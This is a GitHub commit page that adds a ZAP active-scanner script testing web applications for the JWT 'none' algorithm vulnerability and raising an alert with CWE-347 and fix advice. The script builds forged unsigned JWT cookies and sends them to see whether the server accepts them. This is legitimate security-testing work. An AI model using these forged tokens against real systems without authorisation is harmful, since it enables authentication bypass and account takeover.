forked from zaproxy/community-scripts
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Added active scanner for the JWT "None" Exploit (zaproxy#161)
Read more about the exploit here: https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
- Loading branch information
Showing
1 changed file
with
136 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,136 @@ | ||
// ECMA Script uses the Oracle Nashorn engine, therefore all standard library comes from Java | ||
// https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/prog_guide/javascript.html | ||
var Cookie = Java.type("java.net.HttpCookie") | ||
var Base64 = Java.type("java.util.Base64") | ||
var String = Java.type("java.lang.String") | ||
|
||
// Exploit information, used for raising alerts | ||
var RISK = 3 | ||
var CONFIDENCE = 2 | ||
var TITLE = "JWT None Exploit" | ||
var DESCRIPTION = "The application's JWT implementation allows for the usage of the 'none' algorithm, which bypasses the JWT hash verification." | ||
var SOLUTION = "Use a secure JWT library, and (if your library supports it) restrict the allowed hash algorithms." | ||
var REFERENCE = "https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/" | ||
var CWEID = 347 // CWE-347: Improper Verification of Cryptographic Signature | ||
var WASCID = 15 // WASC-15: Application Misconfiguration | ||
|
||
function b64encode(string) { | ||
// Terminate the string with a null byte prior to encoding. I suspect that | ||
// this is required because the string being created as a JavaScript string | ||
// and then handled like a java.lang.String object. When the null byte isn't | ||
// present the Base64 encode call returns the decoded string, along with | ||
// additional garbage characters. | ||
var message = (string + "\0").getBytes() | ||
var bytes = Base64.getEncoder().encode(message) | ||
return new String(bytes) | ||
} | ||
|
||
function b64decode(string) { | ||
var message = string.getBytes() | ||
var bytes = Base64.getDecoder().decode(message) | ||
return new String(bytes) | ||
} | ||
|
||
// Detects if a given string may be a valid JWT | ||
function is_jwt(content) { | ||
var separated = content.split(".") | ||
|
||
if (separated.length != 3) return false | ||
|
||
try { | ||
b64decode(separated[0]) | ||
b64decode(separated[1]) | ||
} | ||
catch (err) { | ||
return false | ||
} | ||
|
||
return true | ||
} | ||
|
||
function build_payloads(jwt) { | ||
// Build header specifying use of the none algorithm | ||
var header = b64encode('{"alg":"none","typ":"JWT"}') | ||
var separated = jwt.split(".") | ||
|
||
// Try a series of different JWT formats | ||
return [ | ||
header + "." + separated[1] + ".", // no hash | ||
header + "." + separated[1] + "." + separated[2], // original (but incorrect) hash | ||
header + "." + separated[1] + ".\\(•_•)/", // junk hash | ||
header + "." + separated[1] + ".XCjigKJf4oCiKS8=", // junk (but b64 encoded) hash | ||
separated[0] + "." + separated[1] + "." // old header but no hash | ||
] | ||
} | ||
|
||
// This method is called for every node on the site | ||
// ActiveScan as, HttpMessage msg | ||
function scanNode(as, msg) { | ||
print("Scanning " + msg.getRequestHeader().getURI().toString()) | ||
|
||
// Extract request cookies and detect if using JWT | ||
var cookies = msg.getRequestHeader().getHttpCookies() | ||
var jwt_cookies = [] | ||
for (var i = 0; i < cookies.length; i++) { | ||
var cookie = cookies[i] | ||
if (is_jwt(cookie.getValue())) | ||
jwt_cookies.push(cookie) | ||
} | ||
|
||
// If no cookie found: skip, if cookie(s) found, use the first | ||
if (jwt_cookies.length == 0) | ||
return | ||
if (jwt_cookies.length > 1) | ||
print("Multiple cookies using JWT found but not yet supported, only first will be used for testing") | ||
|
||
// Default to the first cookie found that uses JWT | ||
var target_cookie = jwt_cookies[0] | ||
|
||
// Send a safe request (with original cookie) to see what a correct response looks like | ||
var msg_safe = msg.cloneRequest() | ||
msg_safe.setCookies([target_cookie]) | ||
as.sendAndReceive(msg_safe) | ||
|
||
// Send a completely mangled request to see if the page actually looks at the cookie | ||
var msg_bad = msg.cloneRequest() | ||
msg_bad.setCookies([new Cookie(target_cookie.getName(), "!@#$%^&*()")]) | ||
as.sendAndReceive(msg_bad) | ||
|
||
var safe_body = msg_safe.getResponseBody() | ||
var bad_body = msg_bad.getResponseBody() | ||
|
||
// If the mangled cookie gives the same response as the correct cookie, we can assume | ||
// that the page does not care what we send in that field and that there is not an exploit | ||
if (safe_body.equals(bad_body)) | ||
return | ||
|
||
var payloads = build_payloads(target_cookie.getValue()) | ||
|
||
for (var i = 0; i < payloads.length; i++) { | ||
var payload = payloads[i] | ||
var cookie_payload = new Cookie(target_cookie.getName(), payload) | ||
var msg_loaded = msg.cloneRequest() | ||
|
||
msg_loaded.setCookies([cookie_payload]) | ||
as.sendAndReceive(msg_loaded) | ||
|
||
var loaded_body = msg_loaded.getResponseBody() | ||
|
||
// If the body of the request sent with the none algorithm is the same as the body of the request | ||
// sent with the default algorithm, we know that the server is parsing the JWT instead of throwing | ||
// some form of server error. We can assume (in this case) that the server is parsing the none | ||
// algorithm and ignoring the hash--which is a vulnerability. | ||
if (loaded_body.equals(safe_body)) | ||
raise_alert(msg_loaded, target_cookie, payload, as) | ||
} | ||
} | ||
|
||
function raise_alert(msg, cookie, payload, as) { | ||
print("Vulnerability found, sending alert") | ||
as.raiseAlert( | ||
RISK, CONFIDENCE, TITLE, DESCRIPTION, | ||
msg.getRequestHeader().getURI().toString(), "", "", "", SOLUTION, | ||
"Cookie: " + cookie.getName() + "=" + payload, REFERENCE, | ||
CWEID, WASCID, msg | ||
) | ||
} |